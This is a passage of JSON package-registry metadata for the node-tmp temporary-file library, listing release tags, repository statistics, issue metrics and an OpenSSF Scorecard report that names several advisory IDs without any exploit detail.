l,"purl":"pkg:github/raszi/node-tmp@v0.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.25/manifests"},{"name":"v0.0.24","sha":"6864655f13a11c6043c119a0cb60385f072bcecf","kind":"tag","published_at":"2014-07-11T16:11:22.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.24","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.24/manifests"},{"name":"v0.0.23","sha":"a18d15db19059cfefe5ff7688b5f00f48de992cf","kind":"tag","published_at":"2013-12-03T22:28:02.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.23","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.23/manifests"},{"name":"v0.0.22","sha":"802e9e0a235c5e331f1d6e5307dfd635b651cd9b","kind":"tag","published_at":"2013-11-29T14:41:42.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.22","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.22/manifests"},{"name":"v0.0.21","sha":"4b30081f3b1dda387007ca2a64410133c51b6b37","kind":"tag","published_at":"2013-08-07T10:00:08.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.21","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.21/manifests"},{"name":"v0.0.20","sha":"ebe1c2a65bda78221aa7e903b0b468cb1c5c0564","kind":"tag","published_at":"2013-06-01T20:04:02.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.20","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.20/manifests"},{"name":"v0.0.19","sha":"2fa3fd63701ab8d87bbe22a1ef6c85f9a5453299","kind":"tag","published_at":"2013-06-01T20:02:36.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.19","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.19/manifests"},{"name":"v0.0.17","sha":"aea2beff92693f7d81ed73eab364aca1d4a2864b","kind":"tag","published_at":"2013-04-19T18:38:25.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.17","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.17/manifests"},{"name":"v0.0.16","sha":"23671f6012e06fbaa8b79407adffa67f1d4bd73b","kind":"tag","published_at":"2013-04-19T18:38:12.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.16","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.16/manifests"},{"name":"v0.0.18","sha":"ff0127efb76dc81a9705cd5172888fa7998f1d03","kind":"tag","published_at":"2013-04-19T18:31:15.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.18","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.18/manifests"},{"name":"v0.0.15","sha":"bc9422180524db9be74b3377928b2d41e1ac4534","kind":"tag","published_at":"2012-10-13T10:14:15.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.15","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.15/manifests"},{"name":"v0.0.14","sha":"6f91b8e10c110691d42830b7b06f692492a50629","kind":"tag","published_at":"2012-08-26T18:51:30.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.14","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.14/manifests"},{"name":"v0.0.13","sha":"661225f78d91db2a2a2363ac28eaab3d036249b7","kind":"commit","published_at":"2012-06-27T09:12:39.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.13","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.13/manifests"},{"name":"v0.0.12","sha":"b4984e379db92378aac4e267b52fde529cdd92a7","kind":"tag","published_at":"2011-10-21T12:09:16.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.12","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.12/manifests"},{"name":"v0.0.11","sha":"9c6787a291f7f406cfc34bfa5951edb9bdc998c1","kind":"tag","published_at":"2011-09-07T12:34:42.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.11","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.11/manifests"},{"name":"v0.0.10","sha":"711af99793d385780d7c61451acd284265a9e0dc","kind":"tag","published_at":"2011-09-05T13:32:09.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.10","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.10/manifests"},{"name":"v0.0.9","sha":"fa907a0ae0d8d72449f5cfee018c917165f59b95","kind":"tag","published_at":"2011-09-05T13:05:35.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.9","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"b721bd8a5da31db68b86721ca4710a99a17c3fde","kind":"tag","published_at":"2011-09-05T12:51:25.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.8","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.8/manifests"},{"name":"v0.0.7","sha":"89d028fab1fca7f9a64b25daf6a801d1248a5847","kind":"tag","published_at":"2011-09-03T18:45:45.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.7","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"6900f0f6f247d65fc546f9c2d9f57e2f5bb0eaeb","kind":"tag","published_at":"2011-09-03T15:50:40.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.6","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"318c3e74546b070ab538f3ec74614479c3adab4c","kind":"tag","published_at":"2011-09-02T13:23:52.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.5","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"10510035bdefe6ad64e601408867bde3fc0b7f08","kind":"tag","published_at":"2011-09-02T13:22:00.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.4","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"392c12113dec6fda55649c51e9573ce5b4893fcb","kind":"tag","published_at":"2011-09-02T12:45:06.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.3","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"9fa9ef21220dd8c16e48553818cc0f46b963f5a9","kind":"tag","published_at":"2011-09-02T12:37:13.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.2","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"5de36ea986ee8fe47f3f47d372f01b586eb8381a","kind":"tag","published_at":"2011-09-02T12:26:30.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.1","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2025-09-22T01:29:32.516Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":6.952098700724789,"dependent_packages_count":6.514682041123589,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":6.733390370924189},"purl":"pkg:golang/github.com/raszi/node-tmp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/raszi/node-tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/raszi/node-tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/raszi/node-tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-08-31T11:43:54.703Z","issues_count":48,"pull_requests_count":69,"avg_time_to_close_issue":37589298.395833336,"avg_time_to_close_pull_request":5730817.030769231,"issues_closed_count":47,"pull_requests_closed_count":65,"pull_request_authors_count":32,"issue_authors_count":30,"avg_comments_per_issue":5.5625,"avg_comments_per_pull_request":2.536231884057971,"merged_pull_requests_count":53,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":2,"past_year_pull_requests_count":2,"past_year_avg_time_to_close_issue":959267.0,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":8.5,"past_year_avg_comments_per_pull_request":0.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/issues","maintainers":[{"login":"silkentrance","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/silkentrance"},{"login":"raszi","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raszi"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fraszi%2Fnode-tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fraszi%2Fnode-tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fraszi%2Fnode-tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fraszi%2Fnode-tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fraszi%2Fnode-tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fraszi%2Fnode-tmp/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2226026,"maintainers_count":0,"namespaces_count":792747,"keywords_count":113213,"github":"golang","metadata":{"funded_packages_count":53976},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-06-10T05:03:23.672Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":1375873,"name":"@yoolabs/tmp","ecosystem":"npm","description":"Typescript Beta Version of node-tmp","homepage":"http://github.com/raszi/node-tmp","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["temporary","tmp","temp","tempdir","tempfile","tmpdir","tmpfile"],"namespace":"yoolabs","versions_count":1,"first_release_published_at":"2020-10-29T09:47:20.007Z","latest_release_published_at":"2020-10-29T09:47:20.007Z","latest_release_number":"0.3.0","last_synced_at":"2026-07-23T01:12:52.749Z","created_at":"2022-04-08T22:55:41.026Z","updated_at":"2026-07-23T01:12:52.749Z","registry_url":"https://www.npmjs.com/package/@yoolabs/tmp","install_command":"npm install @yoolabs/tmp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.3.0"}},"repo_metadata":{"id":48335217,"uuid":"2313213","full_name":"raszi/node-tmp","owner":"raszi","description":"Temporary file and directory creator for node.js","archived":false,"fork":false,"pushed_at":"2026-05-27T15:47:49.000Z","size":1501,"stargazers_count":773,"open_issues_count":11,"forks_count":99,"subscribers_count":5,"default_branch":"master","last_synced_at":"2026-06-04T13:29:02.572Z","etag":null,"topics":["library","nodejs","tempdir","tempfiles"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/raszi.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2011-09-02T10:39:43.000Z","updated_at":"2026-05-30T19:51:30.000Z","dependencies_parsed_at":"2024-02-26T01:49:31.508Z","dependency_job_id":"a8011771-a0ff-41ec-ac6b-1eecf41924f1","html_url":"https://github.com/raszi/node-tmp","commit_stats":{"total_commits":350,"total_committers":38,"mean_commits":9.210526315789474,"dds":"0.46285714285714286","last_synced_commit":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059"},"previous_names":[],"tags_count":42,"template":false,"template_full_name":null,"purl":"pkg:github/raszi/node-tmp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/sbom","scorecard":{"id":762544,"data":{"date":"2025-08-11","repo":{"name":"github.com/raszi/node-tmp","commit":"3d2fe387f3f91b13830b9182faa02c3231ea8258"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.9,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/node.js.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 3/14 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":4,"reason":"5 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":3,"reason":"7 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T23:49:23.651Z","repository_id":48335217,"created_at":"2025-08-22T23:49:23.651Z","updated_at":"2025-08-22T23:49:23.651Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34304806,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-13T02:00:06.617Z","response_time":62,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-15T19:48:00.769Z","dependent_packages_count":1,"downloads":14,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":10.806464528389425,"dependent_repos_count":25.32799796580169,"dependent_packages_count":16.223928578504864,"stargazers_count":3.2475704974304964,"forks_count":3.739454815780194,"average":11.869083277181334},"purl":"pkg:npm/%40yoolabs/tmp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@yoolabs/tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@yoolabs/tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/n